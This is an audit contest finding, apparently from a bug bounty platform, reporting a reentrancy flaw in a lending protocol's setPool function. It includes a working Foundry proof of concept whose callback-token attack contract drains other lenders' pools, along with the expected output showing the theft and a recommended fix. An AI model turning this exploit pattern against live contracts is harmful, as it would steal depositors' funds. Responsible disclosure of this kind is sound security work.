20,000 USDC
View results
Submission Details
Severity: high
Valid

Reentrancy bug allows lender to steal other lender funds and make pools inaccessible

Summary

A lender can reenter during setPool function to steal all loan tokens from the lender contract if other (pool creators) are using loanTokens that can change the control flow. Such tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions. Example of a real-world popular token that can change control flow is PNT (pNetwork).

Vulnerability Details

The reentrancy occurs in the setPool(Pool calldata p) function in Lender.sol as pools[poolId] is updated only after sending tokens to the lender.

/// @notice set the info for a pool
/// updates pool info for msg.sender
/// @param p the new pool info
function setPool(Pool calldata p) public returns (bytes32 poolId) {
// validate the pool - checks
.
.
.
uint256 currentBalance = pools[poolId].poolBalance;
// interactions
if (p.poolBalance > currentBalance) {
// if new balance > current balance then transfer the difference from the lender
IERC20(p.loanToken).transferFrom(
p.lender,
address(this),
p.poolBalance - currentBalance
);
} else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance
);
}
.
.
.
pools[poolId] = p; // Effects
}

Proof of Concept

The POC will demonstrate the following flow:

Assume the loanToken tkn

  1. Assume lender1. lender2 with pools of pool balance 1000 tkn each.

  2. Attacker creates a lending pool with 1000 tkn. Total tkn with lender contract is 3000 tkn

  3. Attacker immediately calls the setPool passing Pool p as parameter to update pool balance to 0

  4. Contract transfers currentBalance - p.poolBalance i.e., 1000 tkn to attacker.

  5. Attacker reenters the setPool with p.

  6. As the pool balance is not yet updated to 0, uint256 currentBalance = pools[poolId].poolBalance; returns 1000. and contract transfers another 1000 tokens to attacker

  7. Attacker reenters until he drains all tkn from contract. He receives 3000 tkn.

  8. Updates the pools[poolId] to 0.

Add the AttackMock.sol to mock folder under /tests/mock

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
import "../../src/utils/Structs.sol";
import {Lender} from "../../src/Lender.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
contract AttackContract is IERC20WithCallback
{
address public lender;
address public token;
address public collateral;
Pool p;
bytes32 public pId;
uint256 amountReceived;
event receivedAmt(address, uint256);
event remaining(uint256);
function setup(address _lender, address _token, address _collateral, Pool calldata _p, bytes32 _poolId) public {
lender = _lender;
token = _token;
collateral = _collateral;
p = _p;
pId = _poolId;
}
function createPool() public {
Lender(lender).setPool(p);
}
function beforeTokenTransfer(address to, uint256 amount) external {
// emit receivedAmt(to, amount);
amountReceived += amount;
uint256 balance = ERC777(token).balanceOf(lender);
// emit remaining(balance);
if (balance >= amountReceived && balance - amountReceived > 0) {
Lender(lender).setPool(p);
}
}
}

Add LenderReentrancy.t.sol to test folder

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import "../../src/utils/Structs.sol";
import {AttackContract, TERC20, ERC777} from "./mock/AttackMock.sol";
contract LenderReenterncy is Test {
AttackContract attackContract = new AttackContract();
address attackAddress= address(attackContract);
address attacker = address(0x1);
Lender public lender;
ERC777 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x2);
address public lender2 = address(0x3);
bytes32 public pool_1;
bytes32 public pool_2;
bytes32 public pool_3;
function setUp() public {
lender = new Lender();
loanToken = new ERC777();
collateralToken = new TERC20();
// mints
loanToken.mint(attackAddress, 100000 * 1e18);
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
// approvals
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attackAddress);
loanToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
Pool memory p1 = Pool({
lender: attackAddress,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
// attacker creates pool with 1000 tokens
vm.startPrank(attackAddress);
pool_1 = lender.setPool(p1);
vm.stopPrank();
Pool memory p2 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
// lender 1 creates pool with 1000 tokens
vm.startPrank(lender1);
pool_2 = lender.setPool(p2);
vm.stopPrank();
Pool memory p3 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
// lender 2 creates pool with 1000 tokens
vm.startPrank(lender2);
pool_3 = lender.setPool(p3);
vm.stopPrank();
// setup attackerContract
Pool memory p4 = Pool({
lender: attackAddress,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 0,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
attackContract.setup(address(lender), address(loanToken), address(collateralToken), p4, pool_1);
}
function test_reentrancy() public {
// debug
emit log_string("Before attack");
emit log_named_decimal_uint("Contract Balance: ", ERC777(loanToken).balanceOf(address(lender)), 18);
(,,,,uint256 poolBalance1,,,,) = lender.pools(pool_1);
emit log_named_decimal_uint("Attacker Pool Balance: ", poolBalance1, 18);
(,,,,uint256 poolBalance2,,,,) = lender.pools(pool_2);
emit log_named_decimal_uint("Pool3 Balance: ", poolBalance2, 18);
(,,,,uint256 poolBalance3,,,,) = lender.pools(pool_3);
emit log_named_decimal_uint("Pool4 Balance: ", poolBalance3, 18);
emit log_named_decimal_uint("Attacker tkn balance: ", loanToken.balanceOf(attackAddress), 18);
// attack
attackContract.createPool();
// debug
emit log_string("After attack");
emit log_named_decimal_uint("Contract Balance: ", ERC777(loanToken).balanceOf(address(lender)), 18);
(,,,,uint256 poolBalance4,,,,) = lender.pools(pool_1);
emit log_named_decimal_uint("Attacker Pool Balance: ", poolBalance4, 18);
(,,,,uint256 poolBalance5,,,,) = lender.pools(pool_2);
emit log_named_decimal_uint("Pool2 Balance: ", poolBalance5, 18);
(,,,,uint256 poolBalance6,,,,) = lender.pools(pool_3);
emit log_named_decimal_uint("Pool3 Balance: ", poolBalance6, 18);
emit log_named_decimal_uint("Attacker tkn balance: ", loanToken.balanceOf(attackAddress), 18);
}
}

Run tests forge test --match-test test_reentrancy -vv.

Expected Output

[PASS] test_reentrancy() (gas: 223660)
Logs:
Before attack
Contract Balance: : 3000.000000000000000000
Attacker Pool Balance: : 1000.000000000000000000
Pool2 Balance: : 1000.000000000000000000
Pool3 Balance: : 1000.000000000000000000
Attacker tkn balance: : 99000.000000000000000000
After attack
Contract Balance: : 0.000000000000000000
Attacker Pool Balance: : 0.000000000000000000
Pool2 Pool Balance: : 1000.000000000000000000 // funds not available at contract
Pool3 Pool Balance: : 1000.000000000000000000 // funds not available at contract
Attacker tkn balance: : 102000.000000000000000000 // gained 3000 tokens instead of 1000

Impact

Loss of funds and made other pools inaccessible.

Tools Used

Foundry

Recommendations

Send tokens only at the end of setPool(Pool p) or add a reentrancyGuard.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!